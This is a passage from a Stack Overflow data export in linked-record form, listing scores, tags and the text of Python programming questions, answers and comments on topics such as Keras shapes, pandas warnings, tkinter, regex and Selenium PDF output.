has body: The message says that y_train is not compatible with the model's output. Your model is outputting (None, width, height, 1). You should add a Flatten() layer after the convolution to make the data have only 2 dimensions from this point on. Additional comments: The input data must have a shape compatible with the model. The shape of X_train must be (7942,80,80,1) The input_shape of the model must be (80,80,1) If you use a (1,6400, 1) shape, your Conv2D layer will be pretty useless, because it will not be able to intepret the data as a 2D image.
downvote count: 1

http://stackoverflow.com/q/47050162
downvote count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81047749
has title: Assert child attribute is property from parent class
has body: I would like for child process to have certain properties, but since you can't force child methods to inherit the property decorator, I want to at least assert that these attributes of the child are properties of the class. Something like this: class Parent: def __init__(self): assert isinstance(self.foo, property) def foo(self): raise NotImplementedError class Child(Parent): def __init__(self): super().__init__() @property def foo(self): return 'bar' But of course by the time Parent.__init__() is run, self.foo has become 'bar' and there is an AssertionError. Is there a way to accomplish what I'm going for using meta classes? If so, can it be that the Parent class is the one that inherits the metaclass, not the Child?
score: 1
answer count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47050293
has comment: http://stackoverflow.com/comment/81048020
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81047631

http://stackoverflow.com/q/46976294
type: AnsweredQuestion
score: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/46976440
has answer: http://stackoverflow.com/a/46976440
has comment: http://stackoverflow.com/comment/80900133
has comment: http://stackoverflow.com/comment/80901560
has answer: http://stackoverflow.com/a/46976830
has comment: http://stackoverflow.com/comment/80900633
type: Question
accepted answer: http://stackoverflow.com/a/46976830
has comment: http://stackoverflow.com/comment/80900848
has title: Python repeating wrong username loop
has comment: http://stackoverflow.com/comment/80900190
has answer: http://stackoverflow.com/a/46976771
tagged with: python
has body: I'm trying to make a system that checks for a user name in a separate text file, and if it doesn't exist tell them this and prompt them to re enter the password. This works the first time they get the username incorrect, however subsequent times it repeats the message multiple times. Here is the code I have so far: def existingUser(): annoyingProblem = 0 print("Welcome back") while True: existingUsername = input("What is your user name?") for i in range(100): with open("logins.txt", "r") as logins2: for num, line in enumerate(logins2, 1): if existingUsername in line: correctPassword() else: if annoyingProblem == 99: print("That doesn't seem to match. Please try again") else: annoyingProblem = annoyingProblem + 1
has comment: http://stackoverflow.com/comment/80900229

http://stackoverflow.com/comment/81369954
has text: No, my point is, you don't need to know any contour lines, you just interpolate the given points and check if their z value is inside the given range.
type: Comment
comment on: http://stackoverflow.com/a/47042233
type: AnswerComment
score: 0

http://stackoverflow.com/comment/80972551
score: 0
type: AnswerComment
has text: I have also edited the term "most efficient". gives a false impression. thanks
type: Comment
comment on: http://stackoverflow.com/a/47010569

http://stackoverflow.com/a/46940064
answers question: http://stackoverflow.com/q/46939756
type: Answer
has body: For Jinja &lt;= 2.8, the code you've shown does work. However, this was due to incorrect behavior in Jinja's scope rules, which was fixed in 2.9. {% for house in city %} {% set count = 0 %} {% for room in house %} {% if room.has_bed %} {% set count = count + 1 %} {% endif %} {% endfor %} &lt;div&gt;{{ house.address }} has {{ count }} beds.&lt;/div&gt; {% endfor %}
score: 0

http://stackoverflow.com/a/46959844
has comment: http://stackoverflow.com/comment/80878329
has comment: http://stackoverflow.com/comment/80871831
has comment: http://stackoverflow.com/comment/80878389
has body: Try this: for row in response.css('#chromatography table tr:not(.header)'): yield {'titulo': row.xpath('./preceding-sibling::tr/th[contains(@class, "outer")]//a/text()').extract_first().strip(), 'clase': row.xpath('./preceding-sibling::tr/th[contains(@class, "inner")]//text()').extract_first().strip(), 'subclase': row.xpath('./td[2]//text()').extract_first().strip(), 'contenido': row.css('.content_value a::text').extract_first().strip()} remember that the inner loop selectors should also be relative to node flv in your case, selecting with // is a global selector so it'll grab everything. It's also better to inspect the real html code, because the browser might render some other code different to the actual html received (for example the tbody tags)
type: Answer
answers question: http://stackoverflow.com/q/46951527
score: 0

http://stackoverflow.com/comment/80970665
type: AnswerComment
score: 0
type: Comment
has text: Thank you! The greatest thing is that you give me instruction how to go into OpenStack Python client relative problems via checking source code instead of checking Document. It is much better!
comment on: http://stackoverflow.com/a/47001523

http://stackoverflow.com/a/47048508
answers question: http://stackoverflow.com/q/47048448
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47048448
upvote count: 1
score: 1
type: Answer
has body: You can use proxies with help of requests module in python. Either use free proxies or you can buy the shared proxies. proxy_obj = { 'http': 'http://proxy1.com', 'https': 'https://proxy1.com', } req = requests.get(image_url, proxies=proxy_obj)

http://stackoverflow.com/comment/121249207
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47050278
has text: best! you saved me!
type: AnswerComment

http://stackoverflow.com/q/46912384
answer count: 1
has comment: http://stackoverflow.com/comment/80798851
has comment: http://stackoverflow.com/comment/80820152
downvote count: 1
linked to: http://stackoverflow.com/q/6587507
favorite count: 0
type: Question
has body: I have just downloaded the python 3.4 source from the web site and compiled it with ./configure and make. I get a fully functional python. Everyone says that pip comes embedded with python but that is not true if I compile it from source. On a console I do: ./python -m pip install numpy from the compilation folder, and I get: No module named pip I am on a RHEL7 system and I want to produce a standalone python folder with all the needed modules. My intention is to ship this python folder along with some python software so that I am sure that everything is ok. (Not to rely on others installing all the packages that are needed on a fresh RHEL7 installation)
tagged with: linux
has comment: http://stackoverflow.com/comment/80841934
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/6587507
tagged with: python
has title: Install pip on a fresh compiled python
linked to: http://stackoverflow.com/q/43304612
has answer: http://stackoverflow.com/a/46912542
score: 2
upvote count: 3

http://stackoverflow.com/comment/80931757
has text: Set correct postgresql credentials in settings.py. You don’t need to set access in view, but in settings only.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46992205
type: QuestionComment

http://stackoverflow.com/a/46953282
answers question: http://stackoverflow.com/q/46953249
type: Answer
score: 6
upvote count: 6
has body: f only has a dictionary argument **args (more frequently written as **kwargs), which means that only keyword arguments are allowed (passing nothing at all is of course also allowed). To enable positional arguments, add *args: def f(*args,**kwargs) or pass your parameter with any keyword: f(foo=[4,5]) and kwargs["foo"] is [4,5] in f
downvote count: 0

http://stackoverflow.com/q/46990406
tagged with: backend
tagged with: youtube
has body: I was working on a small downloader for Youtube videos using trollius (for async), htmlpy and pafy (and youtube-dl). Now i have a problem where once i click the download button, the UI freezes up while the backend is downloading the video. I have tried to make the downloader class its own thread and run that alongside the UI but that doesn't seem to work. I also tried to uses coroutine to have the video download asynchronously while the UI continues. Neither seemed to work. Here is some code class Downloader(htmlPy.Object,threading.Thread): dd = os.path.join(os.getenv('USERPROFILE'), 'Downloads') # dd = download director dd = dd + "/vindownload/" def __init__(self, app): threading.Thread.__init__(self) super(Downloader, self).__init__() # Initialize the class here, if required. self.app = app return @htmlPy.Slot(str) def download_single(self, json_data): form_data = json.loads(json_data) print json_data url = form_data["name"] dt = form_data["dt"] # Download type is audio or video if url.__contains__("https://www.youtube.com/watch?v="): if dt == 'audio': print "hello1" loop = trollius.get_event_loop() loop.run_until_complete(self._downloadVid(url, vid=False)) loop.stop() else: print "hello1" loop = trollius.get_event_loop() loop.run_until_complete(self._downloadVid(url, vid=True)) loop.stop() self.app.evaluate_javascript("document.getElementById('form').reset()") else: print "Incorrect url" print form_data @trollius.coroutine def _downloadVid(self, url, vid=False, order_reverse=False, vinName=None): print "hello123" video = pafy.new(url) print video name = u''.join(video.title).encode('utf8') name = re.sub("[&lt;&gt;:\"/\\|?*]", "", name) if not vid: file = video.getbestaudio() else: file = video.getbest() if (order_reverse): file.download(self.dd + vinName + name + ".mp4", quiet=False,callback=self.mycb) else: file.download(self.dd + name + ".mp4", quiet=False,callback=self.mycb) def mycb(self,total, recvd, ratio, rate, eta): print(recvd, ratio, eta) and my initial…
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46993157
score: 0
has answer: http://stackoverflow.com/a/46993157
type: Question
answer count: 1
has title: How to stop htmlpy ui blocking
tagged with: python

http://stackoverflow.com/comment/81016715
comment on: http://stackoverflow.com/a/47034275
type: Comment
score: 0
type: AnswerComment
has text: @bLAZ It'd be helpful if you could provide the url. I can't debug your problem like this.

http://stackoverflow.com/q/46922107
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/37841525
tagged with: pandas
score: 1
answer count: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80791611
has body: so I'm trying to create a new column that indicates whether or not the specified condition is True. I want the column to simply state "1" or "0". Here's my code: data_sub = data_orig.loc[~pd.isnull(data_orig['Last_Audit_Date']), :] data_sub.reset_index(inplace=True) data_sub['PackageLengthFlag'] = (abs(data_sub.loc['AUDIT_Primary_Length'] - data_sub.loc[:, 'PKG_SUB_Length']) &gt; threshold) I am thinking that True = 1 and False = 0 by default, if I convert it into integers, right? (thought I read somewhere saying this...) And here's the warning that I keep getting: SettingWithCopyWarning: A value is trying to be set on a copy of a slice from a DataFrame. Try using .loc[row_indexer,col_indexer] = value instead I read into: How to deal with SettingWithCopyWarning in Pandas? Correct way to set value on a slice in pandas Pandas SettingWithCopyWarning But I don't think they do what I am looking for. Anyone has any advice? I know this question may sound painfully stupid, but still appreciate any help! Edit I've added the 2 lines of code where I created the data_sub. Hope that helps!
has comment: http://stackoverflow.com/comment/80791681
duplicate of: http://stackoverflow.com/q/20625582
has title: Why does this code throw a SettingWithCopyWarning?
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46922163
has comment: http://stackoverflow.com/comment/80791595
linked to: http://stackoverflow.com/q/20625582
tagged with: python
accepted answer: http://stackoverflow.com/a/46922163
linked to: http://stackoverflow.com/q/26724378
has comment: http://stackoverflow.com/comment/80791614

http://stackoverflow.com/q/46934346
has comment: http://stackoverflow.com/comment/80816154
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/80817016
has body: First of all sorry for any common mistake. I'm not a native english speaker and I'm new to python. As lug_par is a list with 4 items, the second for loop should do 4 iterations. In the third for loop the condition of the if is true so it should execute the break and get out of the loop. My problem is that it doesn't get into the third iteration, as if the len(lug_par) was 2 and not 4. It jumps straight into the cont_y = cont_y + 1 import re string = "R(95DHS(60PST_35FDP_05MTR)_05A(95DHS" lug_par = [s.start() for s in re.finditer('\(', string)] lug_par_cierra = [s.start() for s in re.finditer('\)', string)] cont_y = 0 for i in (0, len(lug_par_cierra)): cont_x = 0 for j in (0, len(lug_par)): if(lug_par[cont_x] &gt; lug_par_cierra[cont_y]): c = lug_par.index(cont_x) borra = lug_par_cierra.index(c) break else: print lug_par[cont_x] cont_x = cont_x + 1 cont_y = cont_y + 1
favorite count: 0
has comment: http://stackoverflow.com/comment/80816100
type: Question
tagged with: for-loop
has comment: http://stackoverflow.com/comment/80816444
type: UnansweredQuestion
tagged with: nested-loops
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80816156
has answer: http://stackoverflow.com/a/46934791
has title: For exits loop before reaching range limit
score: 1

http://stackoverflow.com/comment/80880099
type: Comment
type: QuestionComment
score: 0
has text: @ShadowRanger Yes, that is correct.
comment on: http://stackoverflow.com/q/46966198

http://stackoverflow.com/q/47050418
tagged with: python
tagged with: regex
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47050705
score: 2
has answer: http://stackoverflow.com/a/47050705
has title: Regular expression: How to name a group using match result
upvote count: 2
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81048148
has comment: http://stackoverflow.com/comment/81047943
type: AnsweredQuestion
has body: I want to name a group using the result of matched group. For example in python: I want : import re match = re.search(WHAT_I_NEED, 'name = tom') assert match.groupdict()['name'] == 'tom' if match.groupdict() == {'name': 'tom'}: print('better') I have tried: import re WHAT_I_NEED = r'(?P&lt;attr_name&gt;\w+) = (?P&lt;(?P=attr_name)&gt;\w+)' match = re.search(WHAT_I_NEED, 'name = tom') I get: sre_constants.error: bad character in group name '(?P=attr_name)'

http://stackoverflow.com/q/46978695
answer count: 1
has title: Mutate a list of lists of integers with specific probability
downvote count: 0
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47231987
has answer: http://stackoverflow.com/a/47231987
upvote count: 2
tagged with: python
tagged with: mutation
has comment: http://stackoverflow.com/comment/80904963
has body: I have the following list of integers: [[0, 2, 3, 1, 3, 2, 0, 1], [0, 3, 2, 1, 2, 3, 0, 1], [1, 2, 3, 0, 3, 2, 1, 0], [2, 1, 3, 0, 3, 1, 2, 0]] Taking this whole list as a population and each sublist inside as an individual, like this example: Population scheme I need to create a function that will read the individuals and randomly mutate one of the chromosomes with a certain probability, taking into consideration that the numbers in the list can be only in this 0-3 range. Would anyone know any method, or whatever approach to start developing this? I am completely lost and don't know where to begin, everything I tried has failed, so I am looking for suggestion how would one do it.
type: AnsweredQuestion
score: 2
tagged with: genetic-algorithm

cisco
type: Tag
tags question: http://stackoverflow.com/q/47043405
tag name: cisco
tags question: http://stackoverflow.com/q/46964905

http://stackoverflow.com/comment/81063104
type: AnswerComment
comment on: http://stackoverflow.com/a/47057713
has text: Ooops, I just figured it out. Thank you SuperStew :)
score: 0
type: Comment

http://stackoverflow.com/a/46985232
score: 1
downvote count: 1
has body: It's generated by the __repr__() method. And like all other normal methods, the instance it's being run on is passed as the first argument.
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/80961220
answers question: http://stackoverflow.com/q/46985177

http://stackoverflow.com/comment/81022658
type: AnswerComment
type: Comment
has text: It doesn't produce the example output on the example input.
comment on: http://stackoverflow.com/a/47037786
score: 0

http://stackoverflow.com/comment/95443093
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46982119
has text: Possible duplicate of [Python Spark Cumulative Sum by Group Using DataFrame](https://stackoverflow.com/questions/45946349/python-spark-cumulative-sum-by-group-using-dataframe)

http://stackoverflow.com/comment/80896171
score: 0
has text: @SeanBurton Could you please elaborate a little on how you would do this?
comment on: http://stackoverflow.com/q/46938321
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46944743
has answer: http://stackoverflow.com/a/46951869
tagged with: python
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80850452
accepted answer: http://stackoverflow.com/a/46951869
tagged with: user-interface
downvote count: 0
has title: When I run grid_slaves() on rows with widgets it returns an empty set
answer count: 1
tagged with: grid
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/12364981
tagged with: tkinter
upvote count: 2
has body: Using python 3.6.1 and the included tkinter module I'm trying to have tkinter display a list of 10 cards and their respective expansion packs... I can make it work one time, but I can't seem to make it repeatable with the button. I want to remove the first set and allow the user to run it again. So I need to identify the widgets and remove them. I used this answer when I was trying to figure out how to identify the label widgets in a specific row. But when I run it, it's not picking up the widgets in the rows. It just returns empty sets for each row. This first loop is where I setup the labels excerpted from the main class app(Frame) __init__() method and also the method that should be picking things up to clear them out. I've broken it down further than it needs to be at this point trying to troubleshoot. I think it's a scope issue, I just don't know enough python to get any further in my search without some advice. from tkinter import * class App(Frame): def __init__(self): super().__init__() row = 2 for item in range(0, 9): self.label1 = Label(text="item") self.label1.grid(row=row, column=0, sticky=W) self.label2 = Label(text="item") self.label2.grid(row=row, column=2, sticky=E) row += 1 button = Button(text="Do the thing!", command=self.replace_labels()) button.grid(row=0, column=1) def replace_labels(self): row = 2 for number in range(0, 9): temp_set = self.grid_slaves(row=number + row) row += 1 for thing in temp_set: thing.forget() def main(): root = Tk() app = App() root.mainloop() if __name__ == '__main__': main()

http://stackoverflow.com/q/46954743
has title: Tensorboard not displaying event files
type: UnansweredQuestion
tagged with: tensorboard
has body: I have an issue where I am training a model, but tensorboard isn't displaying any data from the event files. I've done everything in my knowledge. Yes I read the tensorboard ReadMe FAQ. https://github.com/tensorflow/tensorboard/blob/master/README.md#frequently-asked-questions I start the train process with the folowing command (cmd started in folder with the directories "tf_files" and "flower_photos" in it): python retrain.py --bottleneck_dir=tf_files/bottlenecks --model_dir=tf_files/models/"mobilenet_0.50_224" --summaries_dir=tf_files/training_summaries/"mobilenet_0.50_224" --output_graph=tf_files/retrained_graph.pb --output_labels=tf_files/retrained_labels.txt --architecture="mobilenet_0.50_224" --image_dir=flower_photos https://www.mediafire.com/view/22orxlkdfleiw4u/retrain_start_1.png https://www.mediafire.com/file/hfexqjci64o6aqw/retrain_start_2.png https://www.mediafire.com/view/3uzfyvz4hqj44wh/retrain_finish.png The retraining finishes successfully. Tensorboard i start with the command: tensorboard --logdir i:/temp/learningtf/tf_files/training_summaries https://www.mediafire.com/view/j366d29whwrdbwz/start_tensorboard.png The command above with --inspect give me the following output: https://www.mediafire.com/view/3s0x11zb61b8si8/tensorboard_inspect_1.png https://www.mediafire.com/view/45k87w8h15b48ks/tensorboard_inspect_2.png As you can see, tensorboard doesn't display anything. Im quite confused. https://www.mediafire.com/view/v74qashzjq0wnxr/tensorboard_webinterface.png Here are the event files I'm talking about. If these are not the files you need, post a reply and tell my which files i need to upload, please. the_i_hope_right_files.zip If you need eny further Info on this case, please let me know. Thanks for any help in advance.
tagged with: python
score: 2
answer count: 0
upvote count: 2
downvote count: 0
tagged with: tensorflow
favorite count: 0
type: Question

http://stackoverflow.com/comment/81001427
type: QuestionComment
comment on: http://stackoverflow.com/q/47024385
score: 0
has text: self.Z is an operation then the operation name will be appended, but here in a strange way it seems to me.
type: Comment

http://stackoverflow.com/q/47056476
downvote count: 0
tagged with: image-processing
tagged with: raster
has answer: http://stackoverflow.com/a/47056879
favorite count: 0
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/81272003
type: UnansweredQuestion
tagged with: rpy2
upvote count: 1
tagged with: python
tagged with: http://stackoverflow.com/tag/r
has answer: http://stackoverflow.com/a/54327765
has title: R clump within python with rpy2
has body: My specific issue is exactly the title. I have a large raster processing script in python and need to perform a clump function which I cannot find in gdal / python nor have I figured out how to 'write it' myself. I am becoming better with python all the time just still newish, but am learning R for this task. (installed R version 3.4.1 (2017-06-30)) I am able to get rpy2 installed within python after spending a little time learning R and through help on Stackoverflow I have been able to perform several 'tests' of rpy2. The most helpful info in getting rpy2 to respond was to establish where your R is within your python session or script. from another Stack answer. As below: import os os.environ['PYTHONHOME'] = r'C:\Python27\ArcGIS10.3\Scripts\new_ve_folder\Scripts' os.environ['PYTHONPATH'] = r'C:\Python27\ArcGIS10.3\Scripts\new_ve_folder\Lib\site-packages' os.environ['R_HOME'] = r'C:\Program Files\R\R-3.4.1' os.environ['R_USER'] = r'C:\Python27\ArcGIS10.3\Scripts\new_ve_folder\Lib\site-packages\rpy2' However, the main tests listed in the documentation http://rpy.sourceforge.net/rpy2/doc-2.1/html/overview.html I cannot get to work. import rpy2.robjects.tests import unittest # the verbosity level can be increased if needed tr = unittest.TextTestRunner(verbosity = 1) suite = rpy2.robjects.tests.suite() Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; AttributeError: 'module' object has no attribute 'suite' However: import rpy2.robjects as robjects pi = robjects.r['pi'] pi[0] works just fine. as do a few other rpy2.robjects tests I have found. I can create string = ''' f &lt;- functions ect ''' and call those from python. If i use: python -m 'rpy2.tests' I get the following error. r\Scripts>python -m 'rpy2.tests' r\Scripts\python.exe: No module named 'rpy2 Documentation states: On Python 2.6, this should return that all tests were successful. I am using Python 2.7 and I also tried this in Python 3.3. My script for clump starts as below: …
linked to: http://stackoverflow.com/q/47399682
score: 1

http://stackoverflow.com/a/47002206
has comment: http://stackoverflow.com/comment/80960927
has body: Use the zip method available for rdds. rdd_zip = rdd1.zip(rdd2) #Flatten the rdd rdd_final = rdd_zip.map(lambda x: tuple(list(x[0]) + [x[1]]))
type: Answer
has comment: http://stackoverflow.com/comment/80979888
score: 0
accepted answer of: http://stackoverflow.com/q/47001857
has comment: http://stackoverflow.com/comment/80959376
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80979428
answers question: http://stackoverflow.com/q/47001857
has comment: http://stackoverflow.com/comment/80984606
has comment: http://stackoverflow.com/comment/80983498

http://stackoverflow.com/comment/80999531
comment on: http://stackoverflow.com/q/47026057
score: 0
type: Comment
type: QuestionComment
has text: Good to know just ran into errors, thanks!

http://stackoverflow.com/comment/80919365
has text: Did you name something in your project folder `sqlalchemy`?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/46986110
score: 0

http://stackoverflow.com/q/46996649
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80954307
has body: I have a tcpdump file that I would like to parse. The tcpdump file looks like this 23:31:54.380799 IP 192.140.3.20.38373 &gt; 240.240.255.250.8082: UDP, length 542 I want to parse the file to get the source ip, destination ip and the total size of the packet and store it into a list. How can I get the output to look something like this: [192.140.3.20.38,240.240.255.250.80,542]
has answer: http://stackoverflow.com/a/46996727
type: Question
score: 0
tagged with: tcp
has title: how do I parse a tcpdump file with python
answer count: 3
tagged with: tcpdump
has answer: http://stackoverflow.com/a/47003099
has comment: http://stackoverflow.com/comment/80940161
has comment: http://stackoverflow.com/comment/80968444
has answer: http://stackoverflow.com/a/47003990
tagged with: parsing
has comment: http://stackoverflow.com/comment/80939951

http://stackoverflow.com/a/47018154
score: 0
has body: sudo supervisord -c /etc/supervisor/conf.d use this command and it will automatically exit
type: Answer
answers question: http://stackoverflow.com/q/46906135

http://stackoverflow.com/comment/80833055
comment on: http://stackoverflow.com/a/46942819
has text: Thats what I thought, didn't find a reference yet though. Windows codepages are weird..
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/83838986
comment on: http://stackoverflow.com/a/46933862
has text: Hello Tyler, I just followed the instructions at the darkflow github site : https://github.com/thtrieu/darkflow Which Problems do you have in detail?
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/46985759
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/46985645
type: Answer
has comment: http://stackoverflow.com/comment/80918769
answers question: http://stackoverflow.com/q/46985645
has body: ''.join(characteristics.split('\n')) #or \r\n on Windows
score: 1
has comment: http://stackoverflow.com/comment/80919058
type: AcceptedAnswer

http://stackoverflow.com/a/46992683
answers question: http://stackoverflow.com/q/46991716
type: Answer
has comment: http://stackoverflow.com/comment/80942160
score: 0
has comment: http://stackoverflow.com/comment/80942304
has body: How about using pandas? Let's first create a file-like object with io library: import io s = u"""day_of_week,user_type Monday,subscriber Tuesday,customer Tuesday,subscriber Tuesday,subscriber""" file = io.StringIO(s) Now to the actual code: import pandas as pd df = pd.read_csv(file) # "path/to/file.csv" Sdict = df[df["user_type"] == "subscriber"]["day_of_week"].value_counts().to_dict() Cdict = df[df["user_type"] == "customer"]["day_of_week"].value_counts().to_dict() Now we have: Sdict = {'Tuesday': 2, 'Monday': 1} Cdict = {'Tuesday': 1}

http://stackoverflow.com/q/46932823
answer count: 1
has comment: http://stackoverflow.com/comment/80812921
tagged with: tkinter
score: 0
has comment: http://stackoverflow.com/comment/80812608
has title: How can I display two graphs with Tkinter?
has answer: http://stackoverflow.com/a/46937487
type: Question
has body: Hello I have a code and I would like to display my two graphs on the same figure. Here is my code : import Tkinter as tk from matplotlib.figure import Figure from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg import numpy as np app = tk.Tk() app.wm_title("Graphs") fig = Figure(figsize=(6, 4), dpi=96) a = np.array([1,2,3]) ax = fig.add_subplot(111) bx = fig.add_subplot(111) bx.plot(a,np.array([0,0.5,2])) graph = FigureCanvasTkAgg(fig, master=app) canvas = graph.get_tk_widget() canvas.grid(row=0, column=0, rowspan = 11, padx =10, pady =5) def updateScale(value): ax.clear() print "scale is now %s" % (value) #a = np.array([1, 2, 3]) b = float(value)*a ax.plot(a,b) graph.show() value = tk.DoubleVar() scale = tk.Scale(app, variable=value, orient="horizontal",length = 100, from_=0.55, to=2.75, resolution = 0.01,command=updateScale) scale.grid(row=0, column=1) app.mainloop() Everything is okay except that I don't watch bx... Any suggestions ? Thank you !
tagged with: matplotlib
linked to: http://stackoverflow.com/q/45328966
has comment: http://stackoverflow.com/comment/80812814
tagged with: python
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/3584805

http://stackoverflow.com/q/46987930
answer count: 1
accepted answer: http://stackoverflow.com/a/46992152
has answer: http://stackoverflow.com/a/46992152
type: Question
tagged with: python
has body: I have already searched in the site but did not find anything specific for my case. I wrote a code that plots some pairs of points and writes an identifier number for each pair of points. The problem is that the identification number is too close to the points and I would like to move the numbers a bit to make the plot more readable. This is the code: import os import numpy as np from math import exp, log10 import matplotlib.pyplot as plt #dataset dataset1=np.genfromtxt(fname='/path/to/file1.txt') dataset2=np.genfromtxt(fname='/path/to/file2.txt') source=np.genfromtxt(fname='/path/to/file3.txt') num=np.array(source[:,0]) x1=np.array(dataset1[:,5]) y1=np.array(dataset1[:,20]) x2=np.array(dataset2[:,1]) y2=np.array(dataset2[:,10]) # error bars xe1=np.array(dataset1[:,6]) ye1=np.array(dataset1[:,21]) xe2l=np.array(dataset2[:,2]) xe2u=np.array(dataset2[:,3]) ye2l=np.array(dataset2[:,11]) ye2u=np.array(dataset2[:,12]) plt.errorbar(x1, y1, xerr=xe1, yerr=ye1, fmt='.', color='red', elinewidth=1, capsize=2, label='wavdetect') plt.errorbar(x2, y2, xerr=[xe2l, xe2u], yerr=[ye2l, ye2u], fmt='.', color='blue', elinewidth=1, capsize=2, label='my_results') for i,j in enumerate(num): plt.annotate(j, xy=(x2[i],y2[i]), ha='left', va='bottom') plt.xlabel('x') plt.ylabel('y') plt.title ('title') plt.legend(loc='upper right') plt.show() And the plot:
tagged with: plot
type: AnsweredQuestion
score: 0
tagged with: matplotlib
has title: Overlapping in matplotlib.pyplot.annotate

http://stackoverflow.com/a/47089383
type: Answer
score: 2
upvote count: 3
has comment: http://stackoverflow.com/comment/81220643
has body: If you look at your strings character by character &gt;&gt;&gt; data = "कुरुक्षेत्र" &gt;&gt;&gt; re.findall(".", data) ['क', 'ु', 'र', 'ु', 'क', '्', 'ष', 'े', 'त', '्', 'र'] And your other string &gt;&gt;&gt; data = "धर्मक्षेत्रे" &gt;&gt;&gt; re.findall(".", data) ['ध', 'र', '्', 'म', 'क', '्', 'ष', 'े', 'त', '्', 'र', 'े'] So what you want is probably split these using '् '्. Let's call them notation characters for now. If you print the ord(data[2])for the first notation character, it is 2381. Now if you probe around this value &gt;&gt;&gt; for i in range(2350, 2400): ... print(i, chr(i)) ... 2350 म 2351 य 2352 र 2353 ऱ 2354 ल 2355 ळ 2356 ऴ 2357 व 2358 श 2359 ष 2360 स 2361 ह 2362 ऺ 2363 ऻ 2364 ़ 2365 ऽ 2366 ा 2367 ि 2368 ी 2369 ु 2370 ू 2371 ृ 2372 ॄ 2373 ॅ 2374 ॆ 2375 े 2376 ै 2377 ॉ 2378 ॊ 2379 ो 2380 ौ 2381 ् 2382 ॎ 2383 ॏ 2384 ॐ 2385 ॑ 2386 ॒ 2387 ॓ 2388 ॔ 2389 ॕ 2390 ॖ 2391 ॗ 2392 क़ 2393 ख़ 2394 ग़ 2395 ज़ 2396 ड़ 2397 ढ़ 2398 फ़ 2399 य़ We are mostly interested in in values between 2362 and 2391. So we create a array of such values &gt;&gt;&gt; split = "" &gt;&gt;&gt; for i in range(2362, 2392): ... split += chr(i) Next we want to find all pattern with or without a corresponding notation symbol. &gt;&gt;&gt; re.findall(".[" + split + "]?", "धर्मक्षेत्रे") ['ध', 'र्', 'म', 'क्', 'षे', 'त्', 'रे'] &gt;&gt;&gt; re.findall(".[" + split + "]?", "कुरुक्षेत्र") ['कु', 'रु', 'क्', 'षे', 'त्', 'र'] This should get you close to what you are probably looking for. If you need more complex handling then you will have to go with the link @OphirYoktan posted
downvote count: 1
accepted answer of: http://stackoverflow.com/q/47000655
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47000655

http://stackoverflow.com/comment/80932134
score: 0
type: QuestionComment
has text: What is the error you are getting ?
comment on: http://stackoverflow.com/q/46992818
type: Comment

http://stackoverflow.com/a/47024291
has comment: http://stackoverflow.com/comment/80996089
has comment: http://stackoverflow.com/comment/80996199
type: Answer
upvote count: 11
has body: It's possible by calling Page.printToPDF from the DevTool API. However this command is experimental and not implemented on all the platforms: from selenium import webdriver import json, base64 def send_devtools(driver, cmd, params={}): resource = "/session/%s/chromium/send_command_and_get_result" % driver.session_id url = driver.command_executor._url + resource body = json.dumps({'cmd': cmd, 'params': params}) response = driver.command_executor._request('POST', url, body) if response['status']: raise Exception(response.get('value')) return response.get('value') def save_as_pdf(driver, path, options={}): # https://timvdlippe.github.io/devtools-protocol/tot/Page#method-printToPDF result = send_devtools(driver, "Page.printToPDF", options) with open(path, 'wb') as file: file.write(base64.b64decode(result['data'])) options = webdriver.ChromeOptions() options.add_argument("--headless") options.add_argument("--disable-gpu") driver = webdriver.Chrome(chrome_options=options) driver.get("https://www.google.co.uk/") save_as_pdf(driver, r'page.pdf', { 'landscape': False })
downvote count: 0
score: 11
has comment: http://stackoverflow.com/comment/80996276
answers question: http://stackoverflow.com/q/47023842

http://stackoverflow.com/comment/89456807
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/47018695
has text: @LuisOrduz there are plenty of reasons why people justifiably choose not to use an ORM. If you don't want an ORM, using sqlalchemy is a lot of bloat just to get connection pooling.

http://stackoverflow.com/comment/81216380
comment on: http://stackoverflow.com/a/47052200
type: AnswerComment
has text: You should consider youtubes own api that enables you to pull this kind of data easily. Read more here: https://developers.google.com/youtube/v3/docs/comments/list#usage
score: 1
type: Comment

http://stackoverflow.com/q/46931940
answer count: 0
has comment: http://stackoverflow.com/comment/80839859
tagged with: cgi
has comment: http://stackoverflow.com/comment/80811881
has comment: http://stackoverflow.com/comment/80886575
